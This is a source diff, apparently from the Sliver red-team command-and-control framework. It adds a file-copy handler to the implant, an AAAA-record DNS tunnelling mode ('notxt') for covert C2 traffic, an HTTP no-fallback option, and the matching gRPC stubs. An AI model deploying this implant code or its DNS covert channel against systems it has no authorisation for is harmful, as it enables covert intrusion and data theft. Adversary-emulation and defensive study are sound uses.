golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 h1:k/i9J1pBpvlfR+9QsetwPyERsqu1GIbi967PQMq3Ivc=
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1/go.mod h1:V1LtkGg67GoY2N1AnLN78QLrzxkLyJw7RJb1gzOOz9w=
@@ -489,20 +489,20 @@ golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.9.0 h1:KS/R3tvhPqvJvwcKfnBHJwwthS11LRhmM5D59eEXa0s=
golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.9.0 h1:GRRCnKYhdQrD8kfRAdQ6Zcw1P0OcELxGLKJvtjVMZ28=
golang.org/x/term v0.9.0/go.mod h1:M6DEAAIenWoTxdKrOltXcmDY3rSplQUkrvaDU5FcQyo=
golang.org/x/term v0.10.0 h1:3R7pNqamzBraeqj/Tj8qt1aQ2HpmlC+Cx/qL/7hn4/c=
golang.org/x/term v0.10.0/go.mod h1:lpqdcUyK/oCiQxvxVrppt5ggO2KCZ5QblwqPnfZ6d5o=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.10.0 h1:UpjohKhiEgNc0CSauXmwYftY1+LlaC75SJwh0SgCX58=
golang.org/x/text v0.10.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4=
golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
@@ -550,8 +550,8 @@ google.golang.org/grpc v1.56.1 h1:z0dNfjIl0VpaZ9iSVjA6daGatAYwPGstTjt5vkRMFkQ=
google.golang.org/grpc v1.56.1/go.mod h1:I9bI3vqKfayGqPUAwGdOSu7kt6oIJLixfffKrpXqQ9s=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8=
google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
@@ -581,8 +581,8 @@ gorm.io/driver/postgres v1.5.2/go.mod h1:fmpX0m2I1PKuR7mKZiEluwrP3hbs+ps7JIGMUBp
gorm.io/driver/sqlite v1.5.2 h1:TpQ+/dqCY4uCigCFyrfnrJnrW9zjpelWVoEVNy5qJkc=
gorm.io/driver/sqlite v1.5.2/go.mod h1:qxAuCol+2r6PannQDpOP1FP6ag3mKi4esLnB/jHed+4=
gorm.io/gorm v1.25.1/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
gorm.io/gorm v1.25.2-0.20230530020048-26663ab9bf55 h1:sC1Xj4TYrLqg1n3AN10w871An7wJM0gzgcm8jkIkECQ=
gorm.io/gorm v1.25.2-0.20230530020048-26663ab9bf55/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
gorm.io/gorm v1.25.2 h1:gs1o6Vsa+oVKG/a9ElL3XgyGfghFfkKA2SInQaCyMho=
gorm.io/gorm v1.25.2/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f h1:8GE2MRjGiFmfpon8dekPI08jEuNMQzSffVHgdupcO4E=
gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f/go.mod h1:pzr6sy8gDLfVmDAg8OYrlKvGEHw5C3PGTiBXBTCx76Q=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+83
View File
@@ -302,6 +302,76 @@ func mvHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func cpHandler(data []byte, resp RPCResponse) {
cpReq := &sliverpb.CpReq{}
err := proto.Unmarshal(data, cpReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
copy := &sliverpb.Cp{
Src: cpReq.Src,
Dst: cpReq.Dst,
}
srcFile, err := os.Open(cpReq.Src)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to open source file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
defer srcFile.Close()
dstFile, err := os.Create(cpReq.Dst)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to open destination file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
defer dstFile.Close()
bytesWritten, err := io.Copy(dstFile, srcFile)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to copy bytes to destination file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
err = dstFile.Sync()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to sync destination file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
copy.BytesWritten = bytesWritten
data, err = proto.Marshal(copy)
resp(data, err)
}
func mkdirHandler(data []byte, resp RPCResponse) {
mkdirReq := &sliverpb.MkdirReq{}
err := proto.Unmarshal(data, mkdirReq)
@@ -488,6 +558,19 @@ func uploadHandler(data []byte, resp RPCResponse) {
// Process Upload
upload := &sliverpb.Upload{Path: uploadPath}
uploadPathInfo, err := os.Stat(uploadPath)
if err != nil && !os.IsNotExist(err) {
upload.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
}
if !os.IsNotExist(err) && uploadPathInfo.IsDir() {
if !strings.HasSuffix(uploadPath, string(os.PathSeparator)) {
uploadPath += string(os.PathSeparator)
}
uploadPath += uploadReq.FileName
}
f, err := os.Create(uploadPath)
if err != nil {
@@ -42,6 +42,7 @@ var (
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgCpReq: cpHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgEnvReq: getEnvHandler,
@@ -42,6 +42,7 @@ var (
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
@@ -55,6 +55,7 @@ var (
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgExecuteReq: executeHandler,
@@ -96,6 +96,7 @@ var (
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
+121 -12
View File
@@ -92,6 +92,7 @@ var (
ErrInvalidResponse = errors.New("invalid response")
ErrInvalidIndex = errors.New("invalid start/stop index")
ErrEmptyResponse = errors.New("empty response")
ErrInvalidMsg = errors.New("invalid dns message")
)
// DNSOptions - c2 specific options
@@ -102,6 +103,7 @@ type DNSOptions struct {
MaxErrors int
WorkersPerResolver int
ForceBase32 bool
NoTXT bool
ForceResolvConf string
ForceResolvers string
}
@@ -141,6 +143,7 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
MaxErrors: maxErrors,
WorkersPerResolver: workersPerResolver,
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
NoTXT: strings.ToLower(c2URI.Query().Get("notxt")) == "true",
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
ForceResolvers: c2URI.Query().Get("resolvers"),
}
@@ -167,6 +170,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
metadata: map[string]*ResolverMetadata{},
parent: parent,
forceBase32: opts.ForceBase32,
noTXT: opts.NoTXT,
forceResolvConf: opts.ForceResolvConf,
forceResolvers: opts.ForceResolvers,
queryTimeout: opts.QueryTimeout,
@@ -192,6 +196,7 @@ type SliverDNSClient struct {
retryCount int
queryTimeout time.Duration
forceBase32 bool
noTXT bool
forceResolvConf string
forceResolvers string
subdataSpace int
@@ -256,6 +261,8 @@ func (w *DNSWorker) Start(id int, recvQueue <-chan *DNSWork, sendQueue <-chan *D
switch work.QueryType {
case dns.TypeA:
data, _, err = w.resolver.A(work.Domain)
case dns.TypeAAAA:
data, _, err = w.resolver.AAAA(work.Domain)
case dns.TypeTXT:
data, _, err = w.resolver.TXT(work.Domain)
}
@@ -292,7 +299,7 @@ func (s *SliverDNSClient) SessionInit() error {
s.resolvers = []DNSResolver{}
for _, server := range s.resolvConf.Servers {
s.resolvers = append(s.resolvers,
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout),
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
)
}
// {{if .Config.Debug}}
@@ -340,6 +347,14 @@ func (s *SliverDNSClient) SessionInit() error {
// {{end}}
return err
}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return ErrEmptyResponse
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
// {{if .Config.Debug}}
@@ -389,7 +404,14 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
}
resp := []byte{}
for _, subdata := range allSubdata {
respData, _, err := resolver.TXT(subdata)
var respData []byte
var err error
if s.noTXT {
respData, _, err = resolver.AAAA(subdata)
} else {
respData, _, err = resolver.TXT(subdata)
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg failure %v", err)
@@ -398,6 +420,11 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
}
if 0 < len(respData) {
resp = append(resp, respData...)
} else {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in response")
// {{end}}
return nil, ErrInvalidResponse
}
}
return resp, nil
@@ -425,6 +452,7 @@ func (s *SliverDNSClient) WriteEnvelope(envelope *pb.Envelope) error {
// ReadEnvelope - Recv an envelope from the server
func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
var respData []byte
if s.closed {
return nil, ErrClosed
}
@@ -444,14 +472,26 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
// {{if .Config.Debug}}
log.Printf("[dns] poll msg domain: %v", domain)
// {{end}}
respData, _, err := resolver.TXT(domain)
if err != nil {
return nil, err
if s.noTXT {
respData, _, err = resolver.AAAA(domain)
if err != nil {
return nil, err
}
} else {
respData, _, err = resolver.TXT(domain)
if err != nil {
return nil, err
}
}
// {{if .Config.Debug}}
log.Printf("[dns] read msg resp data: %v", respData)
// {{end}}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in response")
// {{end}}
return nil, nil
}
@@ -471,10 +511,38 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
return nil, err
}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return nil, nil
}
plaintext, err := s.cipherCtx.Decrypt(ciphertext)
if err != nil && err != cryptography.ErrReplayAttack {
return nil, err
}
//Send clear
clearMsg, err := s.clearMsg(dnsMsg.ID)
if err != nil {
return nil, err
}
domain, err = s.joinSubdataToParent(clearMsg)
if err != nil {
return nil, err
}
// {{if .Config.Debug}}
log.Printf("[dns] clear msg domain: %v", domain)
// {{end}}
respData, _, err = resolver.A(domain)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] clear msg error: %s", err)
// {{end}}
}
envelope := &pb.Envelope{}
err = proto.Unmarshal(plaintext, envelope)
return envelope, err
@@ -529,7 +597,12 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
return nil, ErrInvalidResponse
}
const bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
var bytesPerTxt uint32
if s.noTXT {
bytesPerTxt = 192
} else {
bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
}
wg := &sync.WaitGroup{}
results := make(chan *DNSResult, int(manifest.Size/bytesPerTxt)+1)
@@ -555,11 +628,21 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
}
wg.Add(1)
s.recvQueue <- &DNSWork{
QueryType: dns.TypeTXT,
Domain: domain,
Wg: wg,
Results: results,
if s.noTXT {
s.recvQueue <- &DNSWork{
QueryType: dns.TypeAAAA,
Domain: domain,
Wg: wg,
Results: results,
}
} else {
s.recvQueue <- &DNSWork{
QueryType: dns.TypeTXT,
Domain: domain,
Wg: wg,
Results: results,
}
}
}
@@ -570,6 +653,9 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
recvData := make(chan []byte)
errors := []error{}
go func() {
// {{if .Config.Debug}}
log.Printf("[dns] Manifest Len: %d ", manifest.Size)
// {{end}}
recvDataBuf := make([]byte, manifest.Size)
for result := range results {
if result.Err != nil {
@@ -577,11 +663,14 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
continue
}
// {{if .Config.Debug}}
log.Printf("[dns] read result data: %v", result.Data)
log.Printf("[dns] read result data: Len: %d %v", len(result.Data), result.Data)
// {{end}}
recvMsg := &dnspb.DNSMessage{}
err := proto.Unmarshal(result.Data, recvMsg)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] unmarshal error: %s", err)
// {{end}}
errors = append(errors, result.Err)
continue
}
@@ -589,6 +678,9 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
log.Printf("[dns] recv msg: %v", recvMsg)
// {{end}}
if manifest.Size < recvMsg.Start || int(manifest.Size) < int(recvMsg.Start)+len(recvMsg.Data) {
// {{if .Config.Debug}}
log.Printf("[dns] invalid index")
// {{end}}
errors = append(errors, ErrInvalidIndex)
continue
}
@@ -814,6 +906,23 @@ func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) {
}
}
func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
nonceBuf := make([]byte, 8)
rand.Read(nonceBuf)
clearMsg, _ := proto.Marshal(&dnspb.DNSMessage{
ID: msgId,
Type: dnspb.DNSMessageType_CLEAR,
Data: nonceBuf,
})
if s.enableCaseSensitiveEncoder {
msg, _ := s.base58.Encode(clearMsg)
return string(msg), nil
} else {
msg, _ := s.base32.Encode(clearMsg)
return string(msg), nil
}
}
func (s *SliverDNSClient) otpMsg() (string, error) {
otpMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
@@ -39,7 +39,7 @@ var (
)
// NewGenericResolver - Instantiate a new generic resolver
func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration) DNSResolver {
func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration, parent string) DNSResolver {
if retries < 1 {
retries = 1
}
@@ -52,6 +52,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
WriteTimeout: timeout,
},
base64: encoders.Base64Encoder{},
parent: parent,
}
}
@@ -62,6 +63,7 @@ type GenericResolver struct {
retryWait time.Duration
resolver *dns.Client
base64 encoders.Base64Encoder
parent string
}
// Address - Return the address of the resolver
@@ -114,6 +116,87 @@ func (r *GenericResolver) a(domain string) ([]byte, time.Duration, error) {
return records, rtt, err
}
// AAAA - Query for AAAA records
func (r *GenericResolver) AAAA(domain string) ([]byte, time.Duration, error) {
var resp []byte
var rtt time.Duration
var err error
for attempt := 0; attempt < r.retries; attempt++ {
resp, rtt, err = r.aaaa(domain)
if err == nil {
break
}
// {{if .Config.Debug}}
log.Printf("[dns] query error: %s (retry wait: %s)", err, r.retryWait)
// {{end}}
time.Sleep(r.retryWait)
}
return resp, rtt, err
}
func (r *GenericResolver) aaaa(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
log.Printf("[dns] %s->AAAA record of %s ?", r.address, domain)
// {{end}}
resp, rtt, err := r.localQuery(domain, dns.TypeAAAA)
if err != nil {
return nil, rtt, err
}
if resp.Rcode != dns.RcodeSuccess {
// {{if .Config.Debug}}
log.Printf("[dns] error response status: %v", resp.Rcode)
// {{end}}
return nil, rtt, ErrInvalidRcode
}
records := make([]byte, 512)
dataSize := uint32(0)
if len(resp.Answer) > 0 {
for _, answer := range resp.Answer {
switch answer := answer.(type) {
case *dns.AAAA:
// {{if .Config.Debug}}
log.Printf("[dns] answer (aaaa): %v", answer.AAAA)
// {{end}}
chunkMeta := uint32(answer.Hdr.Ttl)
chunkIdx := (chunkMeta & 0xff00) >> 8
// {{if .Config.Debug}}
log.Printf("[dns] chunk idx: %d", chunkIdx)
// {{end}}
tempSize := chunkMeta & 0xff
if dataSize != 0 {
if tempSize != dataSize {
// {{if .Config.Debug}}
log.Printf("[dns] inconsistent record size. should all be the same: %d", tempSize)
// {{end}}
return nil, rtt, ErrInvalidResponse
}
} else {
dataSize = tempSize
}
copy(records[chunkIdx*16:], []byte(answer.AAAA))
//records = append(records, []byte(answer.AAAA)...)
}
}
// {{if .Config.Debug}}
} else {
log.Printf("[dns] answer (aaaa): no records returned")
// {{end}}
}
data := []byte{}
if dataSize > 0 {
// Trim output data
data = make([]byte, dataSize)
copy(data, records[0:dataSize])
}
return data, rtt, err
}
// TXT - Query for TXT records
func (r *GenericResolver) TXT(domain string) ([]byte, time.Duration, error) {
var resp []byte
@@ -145,18 +228,24 @@ func (r *GenericResolver) txt(domain string) ([]byte, time.Duration, error) {
}
records := ""
for _, answer := range resp.Answer {
switch answer := answer.(type) {
case *dns.TXT:
// {{if .Config.Debug}}
log.Printf("[dns] answer (txt): %v", answer.Txt)
// {{end}}
records += strings.Join(answer.Txt, "")
}
}
data := []byte{}
if 0 < len(records) {
data, err = r.base64.Decode([]byte(records))
if len(resp.Answer) > 0 {
for _, answer := range resp.Answer {
switch answer := answer.(type) {
case *dns.TXT:
// {{if .Config.Debug}}
log.Printf("[dns] answer (txt): %v", answer.Txt)
// {{end}}
records += strings.Join(answer.Txt, "")
}
}
if 0 < len(records) {
data, err = r.base64.Decode([]byte(records))
}
// {{if .Config.Debug}}
} else {
log.Printf("[dns] answer (txt): no records returned")
// {{end}}
}
return data, rtt, err
}
@@ -19,6 +19,7 @@ package dnsclient
*/
import (
"context"
"net"
"strings"
"time"
@@ -70,6 +71,26 @@ func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) {
return addrs, rtt, nil
}
// AAAA - Query for AAAA records
func (r *SystemResolver) AAAA(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
log.Printf("[dns] %s->AAAA record of %s?", r.Address(), domain)
// {{end}}
started := time.Now()
ips, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", domain)
rtt := time.Since(started)
if err != nil {
return nil, rtt, err
}
var addrs []byte
for _, ip := range ips {
if ip.To16() != nil {
addrs = append(addrs, ip.To16()...)
}
}
return addrs, rtt, nil
}
// TXT - Query for TXT records
func (r *SystemResolver) TXT(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
@@ -26,5 +26,6 @@ import (
type DNSResolver interface {
Address() string
A(string) ([]byte, time.Duration, error)
AAAA(string) ([]byte, time.Duration, error)
TXT(string) ([]byte, time.Duration, error)
}
@@ -71,6 +71,7 @@ type HTTPOptions struct {
PollTimeout time.Duration
MaxErrors int
ForceHTTP bool
NoFallback bool
DisableUpgradeHeader bool
HostHeader string
@@ -110,6 +111,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ForceHTTP: c2URI.Query().Get("force-http") == "true",
NoFallback: c2URI.Query().Get("no-fallback") == "true",
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
HostHeader: c2URI.Query().Get("host-header"),
@@ -133,7 +135,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
return client, nil
}
}
if err != nil || opts.ForceHTTP {
if (err != nil && !opts.NoFallback) || opts.ForceHTTP {
// If we're using default ports then switch to 80
if strings.HasSuffix(address, ":443") {
address = fmt.Sprintf("%s:80", address[:len(address)-4])
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.27.1
// protoc v4.23.2
// protoc-gen-go v1.26.0
// protoc v3.15.8
// source: clientpb/client.proto
package clientpb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.27.1
// protoc v4.23.2
// protoc-gen-go v1.26.0
// protoc v3.15.8
// source: commonpb/common.proto
package commonpb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.27.1
// protoc v4.23.2
// protoc-gen-go v1.26.0
// protoc v3.15.8
// source: dnspb/dns.proto
package dnspb
File diff suppressed because it is too large. Load diff
+1
View File
@@ -154,6 +154,7 @@ service SliverRPC {
rpc Cd(sliverpb.CdReq) returns (sliverpb.Pwd);
rpc Pwd(sliverpb.PwdReq) returns (sliverpb.Pwd);
rpc Mv(sliverpb.MvReq) returns (sliverpb.Mv);
rpc Cp(sliverpb.CpReq) returns (sliverpb.Cp);
rpc Rm(sliverpb.RmReq) returns (sliverpb.Rm);
rpc Mkdir(sliverpb.MkdirReq) returns (sliverpb.Mkdir);
rpc Download(sliverpb.DownloadReq) returns (sliverpb.Download);
+37 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
// versions:
// - protoc-gen-go-grpc v1.2.0
// - protoc v4.23.2
// - protoc v3.21.12
// source: rpcpb/services.proto
package rpcpb
@@ -136,6 +136,7 @@ type SliverRPCClient interface {
Cd(ctx context.Context, in *sliverpb.CdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error)
Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error)
Mv(ctx context.Context, in *sliverpb.MvReq, opts ...grpc.CallOption) (*sliverpb.Mv, error)
Cp(ctx context.Context, in *sliverpb.CpReq, opts ...grpc.CallOption) (*sliverpb.Cp, error)
Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error)
Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts ...grpc.CallOption) (*sliverpb.Mkdir, error)
Download(ctx context.Context, in *sliverpb.DownloadReq, opts ...grpc.CallOption) (*sliverpb.Download, error)
@@ -1127,6 +1128,15 @@ func (c *sliverRPCClient) Mv(ctx context.Context, in *sliverpb.MvReq, opts ...gr
return out, nil
}
func (c *sliverRPCClient) Cp(ctx context.Context, in *sliverpb.CpReq, opts ...grpc.CallOption) (*sliverpb.Cp, error) {
out := new(sliverpb.Cp)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Cp", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error) {
out := new(sliverpb.Rm)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rm", in, out, opts...)
@@ -1966,6 +1976,7 @@ type SliverRPCServer interface {
Cd(context.Context, *sliverpb.CdReq) (*sliverpb.Pwd, error)
Pwd(context.Context, *sliverpb.PwdReq) (*sliverpb.Pwd, error)
Mv(context.Context, *sliverpb.MvReq) (*sliverpb.Mv, error)
Cp(context.Context, *sliverpb.CpReq) (*sliverpb.Cp, error)
Rm(context.Context, *sliverpb.RmReq) (*sliverpb.Rm, error)
Mkdir(context.Context, *sliverpb.MkdirReq) (*sliverpb.Mkdir, error)
Download(context.Context, *sliverpb.DownloadReq) (*sliverpb.Download, error)
@@ -2331,6 +2342,9 @@ func (UnimplementedSliverRPCServer) Pwd(context.Context, *sliverpb.PwdReq) (*sli
func (UnimplementedSliverRPCServer) Mv(context.Context, *sliverpb.MvReq) (*sliverpb.Mv, error) {
return nil, status.Errorf(codes.Unimplemented, "method Mv not implemented")
}
func (UnimplementedSliverRPCServer) Cp(context.Context, *sliverpb.CpReq) (*sliverpb.Cp, error) {
return nil, status.Errorf(codes.Unimplemented, "method Cp not implemented")
}
func (UnimplementedSliverRPCServer) Rm(context.Context, *sliverpb.RmReq) (*sliverpb.Rm, error) {
return nil, status.Errorf(codes.Unimplemented, "method Rm not implemented")
}
@@ -4233,6 +4247,24 @@ func _SliverRPC_Mv_Handler(srv interface{}, ctx context.Context, dec func(interf
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Cp_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.CpReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).Cp(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/Cp",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Cp(ctx, req.(*sliverpb.CpReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Rm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RmReq)
if err := dec(in); err != nil {
@@ -5929,6 +5961,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "Mv",
